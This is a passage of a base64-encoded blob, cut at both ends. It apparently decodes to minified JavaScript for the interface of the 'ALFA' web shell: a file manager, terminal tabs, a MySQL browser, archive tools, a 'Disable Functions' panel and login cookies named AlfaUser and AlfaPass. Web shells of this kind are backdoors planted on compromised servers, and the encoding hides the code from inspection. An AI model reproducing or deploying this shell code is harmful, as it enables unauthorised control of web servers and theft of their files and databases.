5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTFRJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByIGluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3JdPT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGFsZmFNeXNxbENoYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2FsZmEyOiJwYWdlIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBhbGZhUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gYWxmYUxvZ091dCgpe2FsZmFSZW1vdmVDb29raWUoIkFsZmFVc2VyIiksYWxmYVJlbW92ZUNvb2tpZSgiQWxmYVBhc3MiKSxsb2NhdGlvbi5yZWxvYWQoKX12YXIgYWxmYUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tYXJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdycibXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZSIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxkKHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBhbGZhU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD09PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgYWxmYUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW5jdGlvbiBhbGZhU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4dHJhY3QiPT1hPyhhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGFsZmFfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaXZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyIHQ9IiNmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc29sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlLXRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+PGRpdiBjbGFzcz0ic3FsLW5ld3RhYiIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO2coXCdzcWxcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTsiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM4MDAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7Ij5OZXcgVGFiICs8L3NwYW4+PC9kaXY+JyksJChpKS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLGkpfSk7dHJ5eyQoaSkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsaSl9Y2F0Y2goZSl7fXJldHVybiBpfSQodCkuaW5uZXJIVE1MPWU7dmFyIGw9JCgidGFiXyIrdCk7bnVsbCE9bCYmKCgtMT09bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKXx8ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJEQjogIitsLmlubmVyVGV4dCkpLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImRhdGFiYXNlX3dpbmRvdyIpKSx2b2lkIDAhPT1teXNxbF9jYWNoZVt0XSYmbXlzcWxfY2FjaGVbdF0uaGFzT3duUHJvcGVydHkoImRiIikmJm15c3FsX2NhY2hlW3RdLmRiLmxlbmd0aD4wJiYidXBkYXRlIiE9YSYmKGQucXVlcnlTZWxlY3RvcigiI3RhYl8iK3QrIj5zcGFuIikuaW5uZXJIVE1MPW15c3FsX2NhY2hlW3RdLmRiKSwkKHQpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYi1vcHQtaWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJkYl9pZCIsdCl9KTt0cnl7JCh0KS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIix0KX1jYXRjaChlKXt9ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gbG9hZFBvcFVwT3BUaW9ucyhlLHQpe2NvbnNvbGUubG9nKGUpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwkKCJvcHRpb25zX3dpbmRvdyIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt2YXIgYT0kKCJvcHRpb25fIitlKTtpZihhbGZhX2Nhbl9hZGRfb3B0KXthbGZhX2Nhbl9hZGRfb3B0PSExO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe312YXIgaT0iIixsPSQoIm1lbnVfb3B0XyIrZSkuaW5uZXJIVE1MOyJtYXJrZXQiPT1lP2w9IkFsZmEgTWFya2V0IjoiR2V0RGlzRnVuYyI9PWUmJihsPSJEaXNhYmxlIEZ1bmN0aW9ucyIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWJfaXNfYWN0aXZlIil9Y2F0Y2goZSl7fWlmKG51bGwhPWEpe3ZhciByPWEuZ2V0QXR0cmlidXRlKCJvcHRfY291bnQiKTtudWxsIT1yPyhpPXBhcnNlSW50KHIpKzEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpOihpPTEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpfXZhciBvPSJvcHRpb25fIitlK2k7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfY29udGVudCIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicrbysnIiBjbGFzcz0ib3B0aW9uc19ob2xkZXIiPicrdCsiPC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9wdF9pZD0iJytvKyciIG9uY2xpY2s9Im9wdGlvbnNUYWJDb250cm9sbGVyKHRoaXMpOyIgdGl0bGU9IicrbCsnIiBpZD0idGFiXycrbysnIiBjbGFzcz0idGFiX25hbWUgdGFiX2lzX2FjdGl2ZSI+JytsKycgPGltZyBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZU9wdGlvbih0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+JyksJChvKS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitvKyIgZm9ybSwgIyIrbysiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgbD10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUraSl9ZWxzZXtsPXQuZ2V0QXR0cmlidXRlKCJvbmNsaWNrIik7dC5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpfX0pO3RyeXskKG8pLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUraSl9Y2F0Y2goZSl7fXJldHVybiBlK2l9YS5pbm5lckhUTUw9dDt2YXIgbj0kKCJ0YWJfb3B0aW9uXyIrZSk7bnVsbCE9biYmKCgtMT09bi5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpfHxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobi5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIixuLmlubmVyVGV4dCkpLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCYmYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgib3B0aW9uc193aW5kb3ciKSksZC5xdWVyeVNlbGVjdG9yQWxsKCIjb3B0aW9uXyIrZSsiIGZvcm0sICNvcHRpb25fIitlKyIgYSIpLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGE9dC5jbGFzc0xpc3QudmFsdWU7aWYoImdldGNvbmZpZyI9PWF8fCJyZWplY3RtZSI9PWEpcmV0dXJuITE7aWYoIkZPUk0iPT10LnRhZ05hbWUpe3ZhciBpPXQuZ2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIpO3Quc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsJ2FsZmFCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUpfWVsc2V7aT10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UrJyIpOycraSl9fSk7dHJ5e2EucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsZSl9Y2F0Y2goZSl7fW9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gYWxmYUJlZm9yZURvQWN0aW9uKGUpe2FsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD1lfWZ1bmN0aW9uIGFsZmFMb2FkZXJPblRvcChlKXskKCJhX2xvYWRlciIpLnN0eWxlLmRpc3BsYXk9ZSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImJsb2NrIj09ZT8iaGlkZGVuIjoidmlzaWJsZSJ9ZnVuY3Rpb24gYWxmYUFqYXhDb250cm9sbGVyKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJwYXJlbnQiKTskKCJsb2FkZXJfIit0KS5yZW1vdmUoKSwiZmlsZXNtYW5faG9sZGVyIj09dC5zdWJzdHIoMCwxNSkmJigkKHQpLnN0eWxlLm1pbkhlaWdodD0iMCIpLF9BTEZBX0FKQVhfLmhhc093blByb3BlcnR5KHQpJiZfQUxGQV9BSkFYX1t0XS5hYm9ydCgpfWZ1bmN0aW9uIGNsb3NlRGF0YWJhc2UoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5zcWwtdGFicyAuc3FsLXRhYm5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1lbHNlIGVkaXRvckNsb3NlKCJkYXRhYmFzZV93aW5kb3ciKTtkLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VGbVRhYihlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImZtX2lkIiksaT0kKCJmaWxlc21hbl90YWJfIithKTtpZigtMSE9aS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpO3ZhciBsPWVbMF0uZ2V0QXR0cmlidXRlKCJmbV9pZCIpLHI9ImZpbGVzbWFuX2hvbGRlcl8iK2w7aWYobnVsbCE9JChyKSl7JChyKS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBvPSQoImZpbGVzbWFuX3RhYl8iK2wpLmdldEF0dHJpYnV0ZSgicGF0aCIpO2luaXREaXIobyksZC5tZi5jLnZhbHVlPW8sYWxmYV9jdXJyZW50X2ZtX2lkPWx9fWkucmVtb3ZlKCksJCgiZmlsZXNtYW5faG9sZGVyXyIrYSkucmVtb3ZlKCksYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKCl9ZnVuY3Rpb24gY2xvc2VPcHRpb24oZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpKWlmKChlPWQucXVlcnlTZWxlY3RvckFsbCgiLm9wdGlvbnNfdGFiIC50YWJfbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWVsc2UgZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGhpc3RvcnlQYW5lbENvbnRyb2xsZXIoZSl7ImhpZGRlbiI9PWUuZ2V0QXR0cmlidXRlKCJtb2RlIik/KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItbW9kYWwiKS5zdHlsZS5tYXJnaW5MZWZ0PSIyMCUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwidmlzaWJsZSIpLGUuc3R5bGUubGVmdD0iMTklIixlLmlubmVySFRNTD0iPDwiKTooZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWV4cGxvcmVyIikuc3R5bGUuZGlzcGxheT0ibm9uZSIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMSUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwiaGlkZGVuIiksZS5zdHlsZS5sZWZ0PSIwJSIsZS5pbm5lckhUTUw9Ij4+Iil9ZnVuY3Rpb24gY2xvc2VUZXJtaW5hbENvbnRlbnQoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJhY3RpdmUtdGVybWluYWwtdGFiIikpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiYWN0aXZlLXRlcm1pbmFsLXRhYiIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWQucXVlcnlTZWxlY3RvcigiZGl2W3Rlcm1faWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VFZGl0b3JDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWQucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBvcHRpb25zVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIH